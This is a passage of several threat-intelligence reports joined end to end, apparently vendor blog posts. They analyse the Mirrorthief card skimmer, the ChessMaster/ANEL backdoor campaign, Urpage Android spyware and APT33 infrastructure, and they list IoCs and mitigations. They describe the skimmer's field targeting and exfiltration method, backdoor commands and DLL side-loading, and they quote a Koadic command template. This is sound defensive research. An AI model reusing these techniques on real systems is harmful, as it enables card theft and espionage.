The amount of payment information that was stolen is still unknown.
We disclosed our findings to PrismRBS.
The company has since released an official statement regarding the skimming attack: "On April 26, 2019, PrismRBS became aware that an unauthorized third-party obtained access to some of our customers’ e-commerce websites that PrismRBS hosts.
Upon learning of this incident, we immediately took action to halt the current attack, initiated an investigation, engaged an external IT forensic firm to assist in our review, notified law enforcement and payment card companies.
Our investigation is ongoing to determine the scope of the issue, including who and what information may have been impacted.
Based on our review to date, we have determined that an unauthorized party was able to install malicious software designed to capture payment card information on some of our customers’ e-commerce websites.
We are proactively notifying potentially impacted customers to let them know about the incident, the steps we are taking to address the situation, and steps they can take to protect their end users.
We deeply regret any concern or frustration this incident may cause.
Protecting the security and privacy of information remains a top priority.
We are taking steps to further strengthen the security of our systems, including enhanced client-side and back-end monitoring tools and a comprehensive end-to-end audit of our systems.
Once our investigation concludes, we will be providing our customers with additional information and guidance."
Since we can’t connect the said attack to any previous Magecart groups — even if the attack shared some similar characteristics with a few of them — we labeled this new group “Mirrorthief”.
Figure 1.
Mirrorthief attack chain
Figure 2.
Payment page of PrismWeb online store loads Mirrorthief’s skimming script
Figure 3.
Mirrorthief injection on PrismWeb checkout payment’s library
How Mirrorthief performs their skimming activities
On April 14, the attackers injected a script to the payment checkout libraries used by the PrismWeb platform.
The location of injected payment checkout libraries on affected online stores were:
hxxps://[online store domain]/innerweb/v4.0/include/js/checkout_payment[.
]js
hxxps://[online store domain]/innerweb/v3.1/include/js/checkout_payment[.
]js
The injected script forged the Google Analytics script format, but loaded a different script from the attackers’ server.
The loaded script is the main script that steals the payment information.
Unlike many web skimmers, which are designed to collect information from many kinds of e-commerce payment pages in general, the skimmer that the Mirrorthief group used was designed specifically for PrismWeb’s payment page.
The skimmer collects data only from HTML elements with the specific IDs on PrismWeb’s payment form.
The stolen credit card information includes card number, expiry date, card type, card verification number (CVN), and the cardholder’s name.
The skimmer also steals personal information like addresses and phone numbers for billing.
Once the user has finished filling in the payment form and clicked on the payment review, the skimmer copies the targeted information into JavaScript Object Notation (JSON) format data and encrypts it with AES encryption and Base64 encoding.
Next, the skimmer will send it to a remote server by creating an HTML image element, which connects to their URL appended with the encrypted payment information as a query string.
The server then receives the skimmed data from the URL’s query string and returns a 1 pixel PNG picture.
HTML Element ID
Mirrorthief JSON Data Schema
Information
_cc_number
aa
Credit card number
_cc_expmonth
bb
Credit card expiration month
_cc_expyear
cc
Credit card expiration year
cc_type
dd
Credit card type
_cc_cvn
ee
Credit card CVN number
cc_first_name
ff
First name of cardholder
cc_last_name
gg
Last name of cardholder
bill_to_phone
hh
Phone number for billing
bill_to_country
ii
Billing address (country)
bill_to_state
jj
Billing address (state)
bill_to_street1
kk
Billing address (street)
bill_to_street2
ll
Billing address (street)
bill_to_city
mm
Billing address (city)
bill_to_zip
nn
Billing address (zip code)
Table 1.
Sensitive data targeted by Mirrorthief’s skimmer
Figure 4.
Mirrorthief skimming script copies payment information and encrypts it with AES encryption (deobfuscated)
Comparing Magecart-wielding groups
The Mirrorthief group made the injected script on the compromised libraries similar to legitimate Google Analytics script and registered their malicious domain (which also appears similar to the original Google Analytics domain) to disguise their activity.
Impersonating the Google Analytics service is a known tactic also used by Magecart Group 11, the group behind the Vision Direct breach.
Another group called ReactGet, which infected many e-commerce websites around the world, was also recently seen adopting a similar impersonation tactic.
When we checked Mirrorthief’s network infrastructure, we found that it did not have any overlap with any known cybercrime groups.
In addition, the skimmer Mirrorthief used in the attack is very different from the others since it’s specially designed to skim PrismWeb’s payment form.
It sends the skimmed data through a unique JSON schema, which may hint that they use a unique backend data receiver instead of popular skimming kits.
Moreover, the three groups encrypted the skimmed data before the transfer, but used different JavaScript libraries.
Below is a table for comparison.
Group
Encryption Algorithm
JavaScript Library
Magecart Group 11
AES
Gibberish-AES
ReactGet
RSA
JSEncrypt
Mirrorthief
AES
Crypto-JS
Table 2.
Comparison of encryption algorithms used by the different groups
Figure 5.
Magecart Group 11 injection pattern
Figure 6.
ReactGet Group injection pattern
Figure 7.
Mirrorthief Group injection pattern
Magecart has evolved its tactics and exposed many sites to skimming attacks over the years.
Groups that employ this digital attack have been known to come up with new ways to stay undetected on the sites they compromise.
To defend against this type of threat, website owners should regularly check and strengthen their security with patches and server segregation.
Site owners should also employ robust authentication mechanisms, especially for those that store and manage sensitive data.
IT and security teams should restrict or disable outdated components, and habitually monitor websites and applications for any indicators of suspicious activity that could lead to data exfiltration, execution of unknown scripts, or unauthorized access and modification.
The following Trend Micro solutions, powered by XGen™ security, protect users and businesses by blocking the scripts and preventing access to the malicious domains:
Trend Micro™ Security
Smart Protection Suites and Worry-Free™ Business Security
Trend Micro Network Defense
Hybrid Cloud Security
Indicators of Compromise (IoCs)
Indicator
Attribution
30c8be0d9deb59d98f7e047579763559f2c2dd9a7b4477636afcbebaaebc7dc5
Mirrorthief skimming script hash (detected as Trojan.JS.MIRRORTHEIF.AA)
cloudmetric-analytics[.
]com
Mirrorthief malicious domain
hxxps://cloudmetric-analytics[.]com/ga[.
]js
Mirrorthief malicious URL
hxxps://cloudmetric-analytics[.]com/analytics[.
]js
Mirrorthief malicious URL
hxxps://cloudmetric-analytics[.]com/analytic[.
]php?ccm_post=
Mirrorthief malicious URL
hxxps://g-analytics[.]com/libs/analytics[.
]js
Magecart Group 11 malicious URL
hxxps://ebitbr[.]com/api[.
]js
ReactGet Group malicious URL
With special thanks to our colleagues at abuse.ch and The Shadowserver Foundation for helping with the sinkholing of Mirrothief’s malicious domain and remediation reporting
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Data center
Trend Micro discovered the ChessMaster campaign back in July 2017 as part of our monitoring efforts to protect our customers.
At the time, we found ChessMaster targeting different sectors from the academe to media and government agencies in Japan.
The threat group used a variety of attack tools and techniques to spy on their target organizations.
Back then, we noted that ChessMaster's sophisticated nature implied that the campaign could evolve, before finding changes in the tools and tactics used in the campaign a few months later.
While the original campaign was comprehensive and used remote access Trojans (RATs) such as ChChes and RedLeaves, this new campaign used a new backdoor (Detected by Trend Micro as BKDR_ANEL.ZKEI) that leverages the CVE-2017-8759 vulnerability for its cyberespionage activities.
In this blog post, we analyze ChessMaster's current status, including the updated tools in its arsenal — with a particular focus on the evolution of ANEL and how it is used in the campaign.
July ChessMaster Campaign
November ChessMaster Campaign
Current ChessMaster Campaign
Point of Entry
Spear-phishing emails containing decoy documents
Malicious shortcut (LNK) files and PowerShell
Self-extracting archive (SFX)
Runtime packers
Spear-phishing emails containing decoy documents exploiting CVE-2017-8759
Spear-phishing emails containing decoy documents exploiting  CVE-2017-11882, DDEAUTO, Microsoft Office Frameset and Link auto update
Notable Tools
Hacking Tools
Second-stage payloads
Koadic
Hacking Tools
Second-stage payloads
Koadic
Hacking Tools
Second-stage payloads
Backdoor
ChChes
ANEL
ANEL
Technical Analysis
Figure 1.
Infection Chain for the current ChessMaster campaign
ChessMaster’s current iteration starts off with the familiar phishing attacks seen in the earlier campaigns that involved the use of an email with an attached malicious document using the doc, docx, rtf, csv and msg formats.
The email title and attached file name were written in Japanese and contain general business, political, and economy-themed phrases such as
世界経済(World economy)
経済政策(economic policy)
予算概算要求(budget estimation request)
日米対話(Japan-US dialogue)
安倍再任(re-appointment of Prime Minister Abe)
連絡網(contact network)
職員採用案(staff recruitment plan)
会議(meeting)
However, there is a change in the exploit document.
When we tracked ChessMaster back in November, we noted that it exploited the SOAP WSDL parser vulnerability CVE-2017-8759 (patched in September 2017) within the Microsoft .NET framework to download additional malware.
While ChessMaster still uses the previous exploit, it also added more methods to its arsenal: one exploits another vulnerability, CVE-2017-11882 (patched in November 2017), which was also exploited to deliver illegal versions of the Loki infostealer.
Figure 2.
Exploitation of CVE-2017-11882
It also abuses three legitimate MS Office functions:
Function
Purpose
Affected MS Office Formats we found in the wild
Automatic Dynamic Data Exchange (DDEAUTO)
A legitimate Microsoft Office function used in an Office file to retrieve data from another Office file
.doc
.rtf
.msg
Link Auto Update
An Office function used for automatic and user-free updates for embedded links upon opening.
.csv
Microsoft Word's "Frames/Frameset"
A feature that allows HTML or Text pages to be loaded in a frame within Microsoft Word.
.docx
Figure 3.
Exploitation of DDEAUTO
Figure 4.
Abusing Microsoft Word's "Frames/Frameset"
Figure 5.
Exploitation of Link Auto Update
ChessMaster can utilize any of these methods to download the next malware in the chain, the open source post-exploitation tool known as “Koadic,” which the previous campaign also used.
This tool is responsible for stealing information — specifically the environment information — within the target system.
Koadic executes the following command:
%comspec% /q /c <cmd> 1> <Output> 2>&1
The commands and output of Koadic will change according to the ANEL version used in the attack.
The table below lists examples of the commands and outputs for ANEL versions 5.1.1 rc and 5.1.2 rc1.
Note that if ANEL 5.1.2 rc1 was downloaded, the attacker would use HTTPS to avoid the downloaded data being captured as clear text.
Figure 6.
Koadic commands and output when ANEL 5.1.1 rc is used
Figure 7.
Koadic commands and output when ANEL 5.1.2 rc1 is used
The table below lists all of Koadic's functions:
{Variable}.user
User-related functions
{Variable}.user.isElevated
Check Privilege
{Variable}.user.OS
Get OS Version
{Variable}.user.DC
Get DCName from Registry
{Variable}.user.
Arch
Get Architecture
{Variable}.user.info
Get User Information
{Variable}.work
Main Routine functions
{Variable}.work.report
Reports to server
{Variable}.work.error
Returns error
{Variable}.work.make_url
Alters/Modifies URL (C&C)
{Variable}.work.get
Get the return of POST Header
{Variable}.work.fork
Creates rundll32.exe process
{Variable}.http
HTTP Connection functions
{Variable}.http.create
Creates initial HTTP objects
{Variable}.http.post
POST header
{Variable}.http.addHeaders
Adds HTTP Headers
{Variable}.http.get
GET Header
{Variable}.http.upload
Uploads binaries/data
{Variable}.http.bin2str
String manipulation
{Variable}.http.downloadEx
Downloads response
{Variable}.http.download
Additional download function
{Variable}.process
Process-related functions
{Variable}.process.currentPID
Get Current Process ID
{Variable}.process.list
Enumerates Process
{Variable}.process.kill
Terminates Process
{Variable}.registry
Registry-related functions
{Variable}.registry.HKCR
Set HKEY_CLASSES_ROOT
{Variable}.registry.HKCU
Set HKEY_CURRENT_USER
{Variable}.registry.HKLM
Set HKEY_LOCAL_MACHINE
{Variable}.registry.STRING
Set String Value
{Variable}.registry.BINARY
Set Binary Value
{Variable}.registry.DWORD
Set DWORD Value
{Variable}.registry.QWORD
Set QWORD Value
{Variable}.registry.write
Write/Add Registry
{Variable}.registry.provider
Create Registry Handle
{Variable}.registry.destroy
Deletes Registry Key
{Variable}.registry.read
Get/Read Registry Entries
{Variable}.WMI
WMI-related functions
{Variable}.WMI.createProcess
Creates specified process
{Variable}.shell
File/Process Execution functions
{Variable}.shell.run
Run commands
{Variable}.shell.exec
Executes process
{Variable}.file
File-related functions
{Variable}.file.getPath
Get specified file path
{Variable}.file.readText
Reads specified text file
{Variable}.file.get32BitFolder
Get System Folder (32/64-bit)
{Variable}.file.writol
Writes on specified file
{Variable}.file.deleteFile
Deletes specified file
{Variable}.file.readBinary
Reads specified binary file.
Figure 8.
Command added when the Koadic RAT is downloaded (use of {Variable}.shell.exec command)
If Koadic finds that the system is conducive to the attacker’s interests, it downloads a base64-encrypted version of the ANEL malware from the Command-and-Control (C&C) server and executes it.
Encrypted ANEL is decrypted using the “certutil -docode” command.
When ANEL executes, a decrypted DLL file with the filename “lena_http_dll.dll” is expanded in memory.
This file contains one export function — either “crt_main” or “lena_main”
Figure 9.
Base64 encoded ANEL downloaded by Koadic
ANEL will send the infected environment’s information to the C&C server.
When sending the information, ANEL encrypts the data using blowfish, XOR, and Base64-based encryption methods.
The format ANEL uses to send data is similar to ChChes, but ANEL's encryption method is easier to use.
Figure 10.
Encryption key using blowfish
We initially discovered the malware known as ANEL back in September 2017.
At that time, ChessMaster was using ANEL as a backdoor into the target system then injects code into svchost.exe, which then decrypts and activates the embedded backdoor.
This initial version of ANEL had a hardcoded version labeled “5.0.0 beta1” that contained incomplete code.
We noted that this might signify the release of a future variant.
Instead of just one new variant, we discovered four different versions of ANEL:
5.0.0 beta1
5.1.1 rc
5.1.2 rc1
5.2.0 rev1
The different versions contain changes in the ANEL loader and the main ANEL DLL.
The figure below shows a summary of the changes between each version:
Figure 11.
Summary of the changes between each version of ANEL
Differences with regards to Backdoor commands:
CMD ID
5.0.0 beta1/5.1.1 rc/5.1.2 rc1
5.2.0 rev1
0x97A168D9697D40DD
Save File
0x7CF812296CCC68D5
Upload File
0x652CB1CEFF1C0A00
NA
Load New PE file
0x27595F1F74B55278
Save File and Execute
If no match above
Execute Command or File
The differences shown in the table above are subtle but present.
For example, the initial ANEL version, “5.0.0 beta1,” uses a different C&C server compared to the other versions.
Once ANEL evolved to “5.1.1 rc,” it changed its file type to an executable, while also changing the C&C server.
The third version we found (5.1.2 rc1) reverts to a DLL file type but retains the C&C server.
The fourth version of ANEL (5.2.0 rev1) changes both the export function in the expanded main ANEL DLL and uses a different C&C server.
Overall, we can see subtle changes, which indicate that the threat actors behind ANEL are making incremental improvements to the malware to refine it.
Figure 12.
Backdoor function differences between ANEL 5.0.0 beta1/5.1.1 rc/5.1.2 rc1 (left) and ANEL 5.2.0 rev1 (right)
Once ANEL enters the user’s system, it will download various tools that could be used for malicious purposes, including password retrieval tools as well as malicious mail services and accessibility tools that will allow it to gather information about the system.
These include Getpass.exe and Mail.exe, which are password and information stealers.
It also downloads the following:
Accevent.exe <-> Microsoft Accessible Event Watcher 7.2.0.0
event.dll <-> the loader of ssssss.ddd, (Detected as TROJ_ANELLDR)
ssssss.ddd (lena_http.bin) <-> encrypted BKDR_ANEL (Detected as BKDR_ANELENC)
These three files work together using a common technique call DLL Side-Loading or DLL Hijacking.
In this scenario, accevent.exe is the primary executable, which is usually legitimate.
After the execution of accevent.exe, it loads event.dll, which will be placed in the same folder (so it takes loading priority), after which event.dll decrypts and loads the encrypted backdoor ssssss.ddd, which is BKDR_ANEL.
When we analyzed ANEL 5.1.1 rc, encrypted ANEL 5.1.2 rc1 was downloaded and executed.
Short-term mitigation
When the user opens the document DDEAUTO or Link Auto Update, Office will display a message.
If the user clicks on the “No” button, malicious activity will not initiate.
Figure 13: Popup message when users open the document that abuses DDEAUTO
Figure 14.
Popup message when the user opens the document that abuses Link Auto Update
Koadic sends its own JavaScript code as plain text.
The suspect communication allows us to detect the traffic.
Figure 15.
Koadic’s communication traffic
Medium- to long-term mitigation
At first glance, it seems ChessMaster’s evolution over the past few months involves subtle changes.
However, the constant addition and changing of features and attack vectors indicate that the attackers behind the campaign are unlikely to stop and are constantly looking to evolve their tools and tactics.
Organizations can implement various techniques and best practices to defend against targeted attacks, such as regular patching to prevent vulnerability exploitation and using tools that provide protection across different network levels.
Solutions that feature behavior monitoring, application control, email gateway monitoring, and intrusion/detection systems can help with this.
Given how cybercriminal tools, tactics and procedures are evolving, organizations will have to go beyond their typical day-to-day security requirements and find a way to preempt attacks.
Thus, there is a pressing need to detect and address threats via a proactive incident response strategy.
Essentially, this involves creating a remediation plan for effectively combating the threat and using round-the-clock intrusion detection and threat analysis to prevent attacks from entering the system.
A proactive strategy can be much more effective for targeted attacks, as these kinds of attacks are often designed to be elusive and difficult to detect, thus the need to scope them out.
A comprehensive security strategy that involves proactive incident response will need the input of both decision makers and tech-savvy personnel, as they will need to be on the same page for it to be effective.
In addition to implementing both mitigation techniques and proactive strategies, organizations can also strengthen their security by employing solutions such Trend Micro™ Deep Security™ and TippingPoint, which protects endpoints from threats that abuse vulnerabilities.
In addition, comprehensive security solutions can be used to protect organizations from attacks.
These include Trend Micro endpoint solutions such as Trend Micro™ Smart Protection Suites and Worry-Free™ Business Security, which can protect users and businesses from these threats by detecting malicious files, well as blocking all related malicious URLs.
Trend Micro Deep Discovery™ can protect enterprises by detecting malicious attachment and URLs.
Trend Micro OfficeScan™ with XGen™ endpoint security infuses high-fidelity machine learning with other detection technologies and global threat intelligence for comprehensive protection against all kinds of threats.
A more detailed analysis of the Command-and-Control communication flow of ANEL can be found in this technical brief.
Indicators of Compromise
Hash Downloader used in the campaign:
76b1f75ee15273d1226392db3d8f1b2aed467c2875e11d9c14fd18120afc223a
4edcff56f586bd69585e0c9d1d7ff4bfb1a2dac6e2a9588f155015ececbe1275
1b5a1751960b2c08631601b07e3294e4c84dfd71896453b65a45e4396a6377cc
Hashes detected as part of the BKDR_ANEL Family: 5.0.0 beta1
af1b2cd8580650d826f48ad824deef3749a7db6fde1c7e1dc115c6b0a7dfa0dd
5.1.1 rc
2371f5b63b1e44ca52ce8140840f3a8b01b7e3002f0a7f0d61aecf539566e6a1
5.1.2 rc1
05dd407018bd316090adaea0855bd7f7c72d9ce4380dd4bc0feadc6566a36170
5.2.0 rev1
00030ec8cce1f21120ebf5b90ec408b59166bbc3fba17ebae0fc23b3ca27bf4f
lena_http.bin
303f9c00edb4c6082542e456a30a2446a259b8bb9fb6b0f76ff318d5905e429c
Tools used in the campaign:
Getpass.exe
52a8557c8cdd5d925453383934cb10a85b117522b95c6d28ca097632ac8bc10d
event.dll
6c3224dbf6bbabe058b0ab46233c9d35c970aa83e8c4bdffb85d78e31159d489
mail.exe
2f76c9242d5ad2b1f941fb47c94c80c1ce647df4d2d37ca2351864286b0bb3d8
URLs and IP Addresses related to the campaign:
www[.]nasnnones[.
]com
trems[.]rvenee[.
]com
contacts[.]rvenee[.
]com
91[.]207[.]7[.
]91
89[.]18[.]27[.
]159
89[.]37[.]226[.
]108
185[.]25[.]51[.
]116
185[.]81[.]113[.
]95
185[.]144[.]83[.
]82
185[.]153[.]198[.
]58
185[.]159[.]129[.
]226
Tags
Malware
|
APT & Targeted Attacks
|
Endpoints
|
Cyber Crime
|
Research
|
Network
In the process of monitoring changes in the threat landscape, we get a clearer insight into the way threat actors work behind the schemes.
In this case we dig deeper into the possible connection between cyberattacks by focusing on the similarities an unnamed threat actor shares with Confucius, Patchwork, and another threat actor called Bahamut.
For the sake of this report, we will call this unnamed threat actor “Urpage.”
What sets Urpage attacks apart is its targeting of InPage, a word processor for Urdu and Arabic languages.
However, its Delphi backdoor component, which it has in common with Confucius and Patchwork, and its apparent use of Bahamut-like malware, is what makes it more intriguing as it connects Urpage to these other known threats.
In our previous entry, we already covered the Delphi component in the context of the Confucius and Patchwork connection.
We mentioned Urpage as a third unnamed threat actor connected to the two.
This time, we look into Urpage to gain a deeper insight into the way several threat actors' actions intersect.
The Bahamut Link
Fake websites
The link between Bahamut and Urpage can be best discussed by way of the multiple malicious Android samples that matched Bahamut's code and had C&C belonging to the Urpage infrastructure.
Some of these C&C websites also act as phishing sites that lure users into downloading these very applications.
The threat actor sets up these fake websites describing the application and linking to the Google Play Store to download it, like in the case of the malicious website, pikrpro[.
]eu, seen below
Another sample website involved the use of a closely copied version of an existing website, with slight changes in the logo and options above the page.
The download links were also replaced to download the malicious Android application instead.
Figure 1.
Original (top) and modified (bottom) website
Upon writing this entry, we’ve coordinated with Google to ensure that the malicious applications these C&C sites advertise are no longer available for download on the Google Play Store.
It is important to note however, that not all C&C websites for Urpage advertise malicious applications.
Some simply contain a random template with empty categories, likely as a ploy to hide its malicious activities.
Android targeting
As with Bahamut applications, once downloaded and executed, it showed multiple malicious features that deal with stealing information.
Some of these features are listed below.
Retrieves basic information like network information and MAC address from an infected phone
SMS stealing
Contacts stealing
Audio recording
GPS location retrieval
Steals files with the specific extensions, although not all samples target these extensions.
File type
File extensions
Document files
.txt, .csv, .doc, .docx, .xls, .xlsx, .pdf
WhatsApp databases
.db.crypt5 to .db.crypt12
Geolocation related files
.kml, .kmz,  .gmx, .aqm
Audio files
.mp3, .opus
Videos
.mp4, .amr, .wmv, .3gp,
Pictures
.jpeg, .jpg
Of note is one specific application that had a different purpose from the others.
This application has the same encryption routine as other Urpage applications.
Instead of stealing documents or images, it works on top of a modified version of the legitimate Threema, an end-to-end encrypted messaging application, to steal screenshots of messages.
This application has the same icon and label as the legitimate Threema.
Once launched, it drops a modified APK version of Threema and prompts the user to install the application.
The malicious application then hides its icon on the device but still runs in the background, while the modified Threema works like normal.
Unknown to the user, the code in the modified Threema allows it to take screenshots of itself every 10 seconds.
These images are stored in the location/sdcard/Android/data/ch.threema.app/DataData directory, while the “dropper” or the malicious application working in the background uploads the images to the C&C for the threat actor to access.
Figure 2.
Comparison of legitimate Threema code (left) to the modified version (right) with the inserted code
Other activities
Aside from acting as a C&C and distributing Bahamut-like malware, some of these websites also serve as the host for other malicious documents.
These other activities further establish the link of Urpage — and consequently Bahamut — to other threat actors.
Take, for example, the previously mentioned pikrpro[.]eu.
This C&C website also acts as host not only for the malicious Android application but also for two other malicious documents listed here.
A malicious RTF file that exploits the CVE-2017-8750 and drops a malicious VB backdoor with C&C appswonder[.
]info
A malicious InPage file that exploits CVE-2017-12824 and drops two files, one non-malicious, and one malicious VB backdoor with C&C referfile[.
]com
Talos recently reported both C&C domain names with one type of campaign that targets iOS and involves MDM, and another type using VB and Delphi backdoors.
This leads us back to the Confucius and Patchwork link.
The Confucius Link
In our previous entry, we already discussed how Confucius used the same Delphi file stealer as Urpage.
Digging into Urpage, we found another link—two malicious RTF files that exploit different vulnerabilities but download a similar script (detected as TROJ_POWLOAD.GAA) containing two base64-encoded URLs.
One of the URLs is for the decoy document, while the other one is for the payload.
One of the RTF files was found in a server related to Confucius (f1a54dca2fdfe59ec3f537148460364fb5d046c9b4e7db5fc819a9732ae0e063, detected as TROJ_CVE201711882.AG), while the other one (434d34c0502910c562f5c6840694737a2c82a8c44004fa58c7c457b08aac17bd,detected as Mal_CVE20170199-2) downloaded a VB Backdoor that pings back to twitck[.
]com, a domain name belonging to Urpage.
The Patchwork Link
Patchwork also uses the Delphi file stealer as a similarity with Urpage, which suggests the three groups are somehow related.
But this link is further fortified by the Android applications we found whose code is like that of Bahamut, with the C&C matching the usual name registration pattern of Patchwork’s group, as well as an infrastructure close to an old Patchwork domain.
Of note was how the C&C was not encrypted in the application code, despite the fact that it contained the same encryption routines as other samples.
Patchwork has also recently employed Android malware in its attacks, with its use of a customized version of AndroRAT.
Summary
The many similarities and connections show that threat actors do not work in isolation, and that attacks do not necessarily appear from out of nowhere.
This may even suggest that a single development team may be behind this attack — maybe a single paid group that has sold its tools and services to other groups with different goals and targets.
We’ve summarized all the mentioned findings in the table below.
Urpage
Bahamut
Confucius
Patchwork
"BioData" Delphi backdoor and file stealer
X
X
X
VB backdoor
X
Android "Bahamut-like" malware
X
X
X
Custom Android malware
X
AndroRAT Android malware
X
InPage malicious documents
X
X
simply obfuscated HTA downloaders
X
X
IOS malware
X
Confucius malware
X
remote-access-c3 backdoor
X
Sneepy/Byebye shell malware
X
Python cloud filestealers
X
AllaKore RAT
X
Badnews malware
X
QuasarRAT
X
NDiskMonitor malware
X
Targets
We did not find Urpage victims in our telemetry, likely because of the targeted nature of these attacks.
However, the domains used by Urpage provided hints about its target.
For one, there is the domain pikrpro[.
]eu and its subdomains—the islamicfinderfeedback[.]pikrpro[.
]eu and the memrifilesforinfo[.]pikpro[.]eu.
The two pose as legitimate groups and websites that provide services to Islam followers and users from the Middle East.
Additionally, many of the files related to the Urpage domains are auto-extractable files that drop Delphi or VB backdoor and open a decoy document.
The decoy documents tell more about Urpage's possible targets, as it contains text from articles about the region of Kashmir.
The header for a sample document can be seen below.
The documents can also be image files with the same theme, as can be seen here.
Multiple Android applications further drive this notion, as they provide services based on the interests of users in that region.
They have a malicious application that provides services for religion, as well as popular sports in the region.
Figure 3.
Malicious application for observing Ramadan
Figure 4.
Malicious application for cricket news
Solutions and Mitigation
Taking note of these similarities and connections can help organizations and users in their continued defense against Urpage, Bahamut, Confucius, and Patchwork.
The connection of Urpage to the other three threat actors demonstrate that cyberattacks don’t exist in silos and that it hints at a circulation of knowledge and technologies that help in the continuing evolution of different malicious campaigns.
Given this knowledge, organizations must be more vigilant in monitoring threats, as changes in one may mean that changes in others could follow.
Organizations can develop defenses against the social engineering component these four threat actors have in common.
Users should be able to identify the indicators of a social engineering campaign.
Paying close attention to the domain name of a website before performing any further action can also help mitigate threats, including threats like Urpage that have targeted victims.
As an additional defense against the growing use of malicious mobile applications, enterprises and end users can benefit from multilayered mobile security solutions such as Trend Micro™ Mobile Security for Android™ which is also available on Google Play.
Trend Micro’s Mobile App Reputation Service (MARS) covers Android and iOS threats using leading sandbox and machine learning technologies.
It can protect users against malware, zero-day and known exploits, privacy leaks, and application vulnerability.
For organizations, Trend Micro™ Mobile Security for Enterprise provides device, compliance and application management, data protection, and configuration provisioning.
It also protects devices from attacks that leverage vulnerabilities, preventing unauthorized access to apps, as well as detecting and blocking malware and fraudulent websites.
The Trend Micro™ Deep Discovery™ threat protection platform enables organizations to detect, analyze, and respond to modern threats such as sophisticated malware, targeted attacks, and APTs.
Trend Micro™ Smart Protection for Endpoints with Maximum XGen™ security infuses high-fidelity machine learning into a blend of threat protection techniques to eliminate security gaps across user activity and any endpoint, offering the broadest possible protection against advanced attacks.
This appendix contains the latest Indicators of Compromise (IOCs) related to the different groups.
Tags
Mobile
|
APT & Targeted Attacks
|
Research
This article is part of a research paper that dives into cyberattacks on the oil and gas industry.
It provides a more comprehensive look at APT33 and other critical threats.
Read the full paper here.
This blog was originally published on November 13, 2019.
Updated on November 27, 2019 at 11:00 PM PST to add new information about a C&C domain.
The threat group regularly referred to as APT33 is known to target the oil and aviation industries aggressively.
This threat group has been reported on consistently for years, but our recent findings show that the group has been using about a dozen live Command and Control (C&C) servers for extremely narrow targeting.
The group puts up multiple layers of obfuscation to run these C&C servers in extremely targeted malware campaigns against organizations in the Middle East, the U.S., and Asia.
We believe these botnets, each comprising a small group of up to a dozen infected computers, are used to gain persistence within the networks of select targets.
The malware is rather basic, and has limited capabilities that include downloading and running additional malware.
Among active infections in 2019 are two separate locations of a private American company that offers services related to national security, victims connecting from a university and a college in the U.S., a victim most likely related to the U.S. military, and several victims in the Middle East and Asia.
APT33 has also been executing more aggressive attacks over the past few years.
For example, for at least two years the group used the private website of a high-ranking European politician (a member of her country’s defense committee) to send spear phishing emails to companies that are part of the supply chain of oil products.
Targets included a water facility that is used by the U.S. army for the potable water supply of one of its military bases.
These attacks have likely resulted in concrete infections in the oil industry.
For example, in the fall of 2018, we observed communications between a U.K.-based oil company with computer servers in the U.K. and India and an APT33 C&C server.
Another European oil company suffered from an APT33 related malware infection on one of their servers in India for at least 3 weeks in November and December 2018.
There were several other companies in oil supply chains that had been compromised in the fall of 2018 as well.
These compromises indicate a big risk to companies in the oil industry, as APT33 is known to use destructive malware.
Date
From Address
Subject
12/31/16
recruitment@alsalam.aero
Job Opportunity
4/17/17
recruitment@alsalam.aero
Vacancy Announcement
7/17/17
careers@ngaaksa.com
Job Openning
9/11/17
jobs@ngaaksa.ga
Job Opportunity
11/20/17
jobs@dyn-intl.ga
Job Openning
11/28/17
jobs@dyn-intl.ga
Job Openning
3/5/18
jobs@mail.dyn-corp.ga
Job Openning
7/2/18
careers@sipchem.ga
Job Opportunity SIPCHEM
7/30/18
jobs@sipchem.ga
Job Openning
8/14/18
jobs@sipchem.ga
Job Openning
8/26/18
careers@aramcojobs.ga
Latest Vacancy
8/28/18
careers@aramcojobs.ga
Latest Vacancy
9/25/18
careers@aramcojobs.ga
AramCo Jobs
10/22/18
jobs@samref.ga
Job Openning at SAMREF
Table 1.
Spear phishing campaigns of APT33.
Source: Trend Micro’s Smart Protection Network
The first two email addresses in the table above (ending in .com and .aero) are being spoofed by the threat group.
However, the addresses ending in .ga are from the attacker's own infrastructure.
The addresses are all impersonating known aviation and oil and gas companies.
Aside from the relatively noisy attacks of APT33 against oil product supply chains, we found that APT33 has been using several C&C domains for small botnets comprised of about a dozen bots each.
It appears that APT33 took special care to make tracking more difficult.
The C&C domains are usually hosted on cloud hosted proxies.
These proxies relay URL requests from the infected bots to backends at shared webservers that may host thousands of legitimate domains.
The backends report bot data back to a data aggregator and bot control server that is on a dedicated IP address.
The APT33 actors connect to these aggregators via a private VPN network with exit nodes that are changed frequently.
The APT33 actors then issue commands to the bots and collect data from the bots using these VPN connections.
In the fall of 2019 we counted 10 live bot data aggregating and bot controlling servers and tracked a couple of them for months.
These aggregators get data from very few C&C servers (only 1 or 2), with only up to a dozen victims per unique C&C domain.
The table below lists some of the older C&C domains that are still live today.
Domain
Created
oorgans.com
5/28/16
suncocity.com
5/31/16
zandelshop.com
6/1/16
simsoshop.com
6/2/16
zeverco.com
6/5/16
qualitweb.com
6/6/16
service-explorer.com
3/3/17
service-norton.com
3/6/17
service-eset.com
3/6/17
service-essential.com
3/7/17
update-symantec.com
3/12/17
Table 2.
APT33 C&C domains for extreme narrow targeting
Figure 1.
Schema showing the multiple obfuscation layers that APT33 uses
Threat actors often use commercial VPN services to hide their whereabouts when administering C&C servers and doing reconnaissance.
But besides using VPN services that are available for any user, we also regularly see actors using private VPN networks that they set up for themselves.
Setting up a private VPN can be easily done by renting a couple of servers from datacenters around the world and using open source software like OpenVPN.
Though the connections from private VPN networks still come from seemingly unrelated IP addresses around the world, this kind of traffic is actually easier to track.
Once we know that an exit node is mainly being used by a particular actor, we can have a high degree of confidence about the attribution of the connections that are made from the IP addresses of the exit node.
For example, besides administering C&C servers from a private VPN exit node, an actor might also be doing reconnaissance of targets’ networks.
APT33 likely uses its VPN exit nodes exclusively.
We have been tracking some of the group’s private VPN exit nodes for more than a year and we have listed known associated IP addresses in the table below.
The indicated timeframes are conservative; it is likely that the IP addresses have been used for a longer time.
IP address
First seen
Last seen
5.135.120.57
12/4/18
1/24/19
5.135.199.25
3/3/19
3/3/19
31.7.62.48
9/26/18
9/29/18
51.77.11.46
7/1/19
7/2/19
54.36.73.108
7/22/19
10/05/19
54.37.48.172
10/22/19
11/05/19
54.38.124.150
10/28/18
11/17/18
88.150.221.107
9/26/19
11/07/19
91.134.203.59
9/26/18
12/4/18
109.169.89.103
12/2/18
12/14/18
109.200.24.114
11/19/18
12/25/18
137.74.80.220
9/29/18
10/23/18
137.74.157.84
12/18/18
10/21/19
185.122.56.232
9/29/18
11/4/18
